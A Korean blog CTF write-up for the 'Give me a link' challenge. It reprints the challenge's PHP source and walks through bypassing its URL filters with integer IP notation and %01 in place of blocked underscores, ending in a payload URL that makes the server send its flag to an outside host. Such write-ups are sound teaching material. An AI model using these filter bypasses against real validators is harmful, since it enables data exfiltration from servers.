write-ups/solveme.safflower.kr

Give me a link 2 write up

2018. 3. 4. 12:21

<?php
    error_reporting
(0);
    require 
__DIR__.'/lib.php';

    if(isset(
$_GET['url'])){
        
$url $_GET['url'];

        if(
preg_match('/_|\s|\0/'$url)){
            die(
'Not allowed character');
        }

        
$parse parse_url($url);
        if(!
preg_match('/^https?$/i'$parse['scheme'])){
            die(
'Not allowed scheme');
        }

        if(!
preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i'$parse['host'])){
            die(
'Not allowed host');
        }

        if(!
preg_match('/\/plz_give_me$/'$parse['path'])){
            die(
'Not allowed path');
        }

        
$socket socket_create(AF_INETSOCK_STREAMSOL_TCP);
        if(
$socket === false){
            die(
'Failed to create socket');
        }

        
$host gethostbyname($parse['host']);
        
$port is_null($parse['port']) ? 80 $parse['port'];

        if(
socket_connect($socket$host$port) === false){
            die(
'Failed to connect');
        }

        
$send "HEAD /".$flag." HTTP/1.1\r\n".
            
"Host: ".$host.":".$port."\r\n".
            
"Connection: Close\r\n".
            
"\r\n\r\n";
        
socket_write($socket$sendstrlen($send));

        
$recv socket_read($socket1024);var_dump($recv);
        if(!
preg_match('/^HTTP\/1.1 200 OK\r\n/'$recv)){
            die(
'Not allowed response');
        }

        
socket_close($socket);

        echo 
'Okay, I sent the flag.''<hr>';
    }

    
highlight_file(__FILE__);


해당 문제에서는 url 을 받고 여러 검증을 거친 뒤 socket 통신으로 flag를 쏴준다. 



첫 번째 분기문.

if(preg_match('/_|\s|\0/'$url)){
    die(
'Not allowed character');
}


$url 에서 _ (언더바), 공백, \x00 (NULL) 을 막는다. 



두 번째 분기문. (반기문 아님ㅎ)

if(!preg_match('/^https?$/i'$parse['scheme'])){
    die(
'Not allowed scheme');
}


그냥 스키마를 http 혹은 https 로 설정해주면 된다. 



세 번째 분기문.

if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i'$parse['host'])){
    die(
'Not allowed host');
}


host 가 localhost 거나, 127.x.x.x 인지 확인한다. 그리고 마지막 [^.]+ 은 . (dot) 을 입력하지 못하도록 막는다. 그럼 ip 형식이나 domain을 사용하지 못하는데, 이 경우 ip to int 를 이용해서 우회할 수 있다. 


다음은 ip to int 를 이용해서 localhost 에 http req를 보낸 것이다. 




네 번째 분기문.

if(!preg_match('/\/plz_give_me$/'$parse['path'])){
    die(
'Not allowed path');
}


path가 /plz_give_me 로 끝나야 한다. 근데 첫 번째 반기문에서 _ (언더바)를 막았는데,,,???

php에서는 unprintable character를 _ (언더바)로 받는다. 그래서 %01 로 우회할 수 있다. 



http://1815978408:1234/plz%01give%01me


이런 식으로 url 값을 주게 되면 플래그를 얻는다. 



'write-ups > solveme.safflower.kr' 카테고리의 다른 글

CanHackMe JSON write up  (0) 2019.03.28
Flag not found solving ..  (0) 2018.03.15
Hard login  (0) 2018.03.04
URL filtering write up  (1) 2018.03.04
Hell JS write up  (0) 2018.03.04